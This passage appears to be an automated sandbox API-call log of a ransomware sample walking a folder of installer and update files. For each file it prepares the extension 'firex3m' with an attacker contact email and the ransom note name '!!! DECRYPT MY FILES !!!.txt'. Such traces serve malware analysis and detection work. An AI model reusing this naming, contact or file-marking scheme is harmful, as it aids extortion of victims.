[0092.697] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi", cchLength=0x26 | out: lpsz="c:\\588bce7c90097ed212\\rgb9rast_x64.msi") returned 0x26 [0092.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.697] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.697] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.697] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.698] GetProcessHeap () returned 0x630000 [0092.698] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663f38, Size=0x94) returned 0x6d5bc8 [0092.698] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0092.698] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\rgb9rast_x64.msi", psz="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", len=0x26 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 1 [0092.698] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", cchLength=0x26 | out: lpsz="c:\\588bce7c90097ed212\\rgb9rast_x86.msi") returned 0x26 [0092.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.698] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.698] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.698] GetProcessHeap () returned 0x630000 [0092.698] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5bc8, Size=0x98) returned 0x6d67a8 [0092.698] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0092.699] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\rgb9rast_x86.msi", psz="C:\\588bce7c90097ed212\\Setup.exe", len=0x1f | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\Setup.exe") returned 1 [0092.699] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Setup.exe", cchLength=0x1f | out: lpsz="c:\\588bce7c90097ed212\\setup.exe") returned 0x1f [0092.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.699] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.699] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.699] GetProcessHeap () returned 0x630000 [0092.699] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d67a8, Size=0x9c) returned 0x6e3a90 [0092.699] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0092.699] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\setup.exe", psz="C:\\588bce7c90097ed212\\SetupEngine.dll", len=0x25 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 1 [0092.699] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\SetupEngine.dll", cchLength=0x25 | out: lpsz="c:\\588bce7c90097ed212\\setupengine.dll") returned 0x25 [0092.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.700] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.700] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.700] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0092.700] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\setupengine.dll", psz="C:\\588bce7c90097ed212\\SetupUi.dll", len=0x21 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\SetupUi.dll") returned 1 [0092.700] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\SetupUi.dll", cchLength=0x21 | out: lpsz="c:\\588bce7c90097ed212\\setupui.dll") returned 0x21 [0092.700] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.700] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.700] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.700] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.700] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0092.700] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\setupui.dll", psz="C:\\588bce7c90097ed212\\SetupUi.xsd", len=0x21 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 1 [0092.700] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\SetupUi.xsd", cchLength=0x21 | out: lpsz="c:\\588bce7c90097ed212\\setupui.xsd") returned 0x21 [0092.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.701] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.701] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.701] GetProcessHeap () returned 0x630000 [0092.701] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e3a90, Size=0xa0) returned 0x6e30b8 [0092.701] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0092.701] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\setupui.xsd", psz="C:\\588bce7c90097ed212\\SetupUtility.exe", len=0x26 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 1 [0092.701] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\SetupUtility.exe", cchLength=0x26 | out: lpsz="c:\\588bce7c90097ed212\\setuputility.exe") returned 0x26 [0092.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.701] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.701] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.702] GetProcessHeap () returned 0x630000 [0092.702] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e30b8, Size=0xa4) returned 0x650658 [0092.702] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0092.702] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\setuputility.exe", psz="C:\\588bce7c90097ed212\\SplashScreen.bmp", len=0x26 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 1 [0092.702] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\SplashScreen.bmp", cchLength=0x26 | out: lpsz="c:\\588bce7c90097ed212\\splashscreen.bmp") returned 0x26 [0092.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.702] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.702] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.702] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.702] GetProcessHeap () returned 0x630000 [0092.702] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x650658, Size=0xa8) returned 0x64fec8 [0092.702] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0092.702] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\splashscreen.bmp", psz="C:\\588bce7c90097ed212\\sqmapi.dll", len=0x20 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\sqmapi.dll") returned 1 [0092.703] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\sqmapi.dll", cchLength=0x20 | out: lpsz="c:\\588bce7c90097ed212\\sqmapi.dll") returned 0x20 [0092.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.703] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.703] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.703] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x0, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0092.703] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\sqmapi.dll", psz="C:\\588bce7c90097ed212\\Strings.xml", len=0x21 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\Strings.xml") returned 1 [0092.703] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Strings.xml", cchLength=0x21 | out: lpsz="c:\\588bce7c90097ed212\\strings.xml") returned 0x21 [0092.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.703] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.703] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.704] GetProcessHeap () returned 0x630000 [0092.704] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64fec8, Size=0xac) returned 0x729cb8 [0092.704] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0092.704] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\strings.xml", psz="C:\\588bce7c90097ed212\\UiInfo.xml", len=0x20 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\UiInfo.xml") returned 1 [0092.704] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\UiInfo.xml", cchLength=0x20 | out: lpsz="c:\\588bce7c90097ed212\\uiinfo.xml") returned 0x20 [0092.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.704] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.704] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.704] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.704] GetProcessHeap () returned 0x630000 [0092.704] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x729cb8, Size=0xb0) returned 0x729080 [0092.704] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0092.704] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\uiinfo.xml", psz="C:\\588bce7c90097ed212\\watermark.bmp", len=0x23 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\watermark.bmp") returned 1 [0092.704] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\watermark.bmp", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\watermark.bmp") returned 0x23 [0092.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.705] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.705] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.705] GetProcessHeap () returned 0x630000 [0092.705] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x729080, Size=0xb4) returned 0x70cee8 [0092.705] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0092.705] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\watermark.bmp", psz="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu", len=0x37 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 1 [0092.705] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu", cchLength=0x37 | out: lpsz="c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu") returned 0x37 [0092.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.705] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.705] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0092.706] GetProcessHeap () returned 0x630000 [0092.706] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x70cee8, Size=0xb8) returned 0x70c828 [0092.706] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0092.706] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu", psz="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu", len=0x37 | out: pbstr=0x6ebf660*="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 1 [0092.706] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu", cchLength=0x37 | out: lpsz="c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu") returned 0x37 [0092.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0092.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0092.706] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0092.706] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files 